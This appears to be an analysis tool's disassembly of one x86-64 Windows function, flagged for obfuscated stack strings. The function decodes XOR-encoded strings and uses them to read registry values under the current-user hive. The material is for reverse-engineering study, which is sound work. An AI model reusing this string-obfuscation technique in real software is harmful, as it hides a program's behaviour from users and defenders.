Function at 0x14004e600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r13
push r14
push r15
lea rbp, [rsp - 0x1e0]
sub rsp, 0x2e0
mov rsi, rcx
mov al, 0x53
mov dword [rbp - 0x70], 0x53
xor r14d, r14d
mov dword [rbp - 0x6c], 0x15001c
mov dword [rbp - 0x68], 0x40007
mov dword [rbp - 0x64], 0x10012
lea r15d, [r14 + 1]
mov dword [rbp - 0x60], 0xf0016
lea edi, [r14 + 0xf]
mov dword [rbp - 0x5c], 0x3c001e
mov dword [rbp - 0x58], 0x3a0029
mov dword [rbp - 0x54], 0x3f003f
mov dword [rbp - 0x50], 0xf0032
mov dword [rbp - 0x4c], 0x3c001e
mov dword [rbp - 0x48], 0x3a0029
mov dword [rbp - 0x44], 0x3f003f
mov dword [rbp - 0x40], 0x730032
mov dword [rbp - 0x3c], 0x3a0015
mov dword [rbp - 0x38], 0x360021
mov dword [rbp - 0x34], 0x3c0035
mov dword [rbp - 0x30], Ordinal_45
mov ecx, r14d
movsx eax, al
xor word [rbp + rcx*2 - 0x6e], ax
add rcx, r15
cmp rcx, 0x20
jae 0x14004e6ba
mov al, byte [rbp - 0x70]
jmp 0x14004e6a4
mov word [rbp - 0x2e], r14w
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
lea rdx, [rbp - 0x6e]
mov rcx, 0xffffffff80000001
call fcn.1400e8c14
test eax, eax
jne 0x14004e8a5
mov qword [rsp + 0x38], r14
lea rax, [rbp + 0x230]
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp - 0x78]
call fcn.1400e8fcc
test eax, eax
jne 0x14004e8a5
cmp dword [rbp + 0x230], r14d
je 0x14004e8a5
mov dword [rbp + 0x228], 0xff
lea r9, [rbp + 0x228]
lea r8, [rbp - 0x20]
xor edx, edx
mov rcx, qword [rbp - 0x78]
call fcn.1400e91b4
test eax, eax
jne 0x14004e8a5
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rax, [rbp - 0x6e]
or rcx, 0xffffffffffffffff
inc rcx
cmp word [rax + rcx*2], r14w
jne 0x14004e749
mov eax, dword [rbp + 0x228]
add eax, 7
add ecx, eax
movsxd rbx, ecx
mov rdx, rbx
lea rcx, [rbp - 0x28]
call fcn.14004f5c8
nop
mov al, 0x43
mov dword [rsp + 0x60], 0x660043
mov dword [rsp + 0x64], 0x1f0030
mov dword [rsp + 0x68], 0x300066
mov dword [rsp + 0x6c], 0xe001f
mov dword [rsp + 0x70], 0x2a0022
mov dword [rsp + 0x74], reloc.WLDAP32.dll_Ordinal_45
mov rcx, r14
movsx eax, al
xor word [rsp + rcx*2 + 0x62], ax
add rcx, r15
cmp rcx, 0xa
jae 0x14004e7ba
mov al, byte [rsp + 0x60]
jmp 0x14004e7a3
mov word [rsp + 0x76], r14w
lea rax, [rbp - 0x20]
mov qword [rsp + 0x20], rax
lea r9, [rbp - 0x6e]
lea r8, [rsp + 0x62]
mov rdx, rbx
mov rbx, qword [rbp - 0x28]
mov rcx, rbx
call fcn.14004d5f4
lea rax, [rbp - 0x78]
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov rcx, 0xffffffff80000001
call fcn.1400e8c14
test eax, eax
jne 0x14004e898
mov dword [rbp + 0x238], 0x104
mov dword [rsp + 0x60], 0x46000f
mov dword [rsp + 0x64], 0x7c0061
mov dword [rsp + 0x68], 0x6e007b
mov dword [rsp + 0x6c], 0x630063
mov dword [rsp + 0x70], 0x4b002f
mov dword [rsp + 0x74], 0x7d0066
mov dword [rsp + 0x78], 0x6c006a
mov dword [rsp + 0x7c], 0x60007b
mov dword [rbp - 0x80], 0x76007d
mov word [rbp - 0x7c], r14w
mov rcx, r14
movsx eax, dil
xor word [rsp + rcx*2 + 0x62], ax
add rcx, r15
cmp rcx, 0x11
jae 0x14004e873
mov dil, byte [rsp + 0x60]
jmp 0x14004e85a
mov word [rbp - 0x7c], r14w
lea rax, [rbp + 0x238]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
lea rdx, [rsp + 0x62]
mov rcx, qword [rbp - 0x78]
call fcn.1400e8df8
nop
test rbx, rbx
je 0x14004e8a5
mov rcx, rbx
call fcn.140173310
add rsp, 0x2e0
pop r15
pop r14
pop r13
pop rdi
pop rsi
pop rbx
pop rbp
ret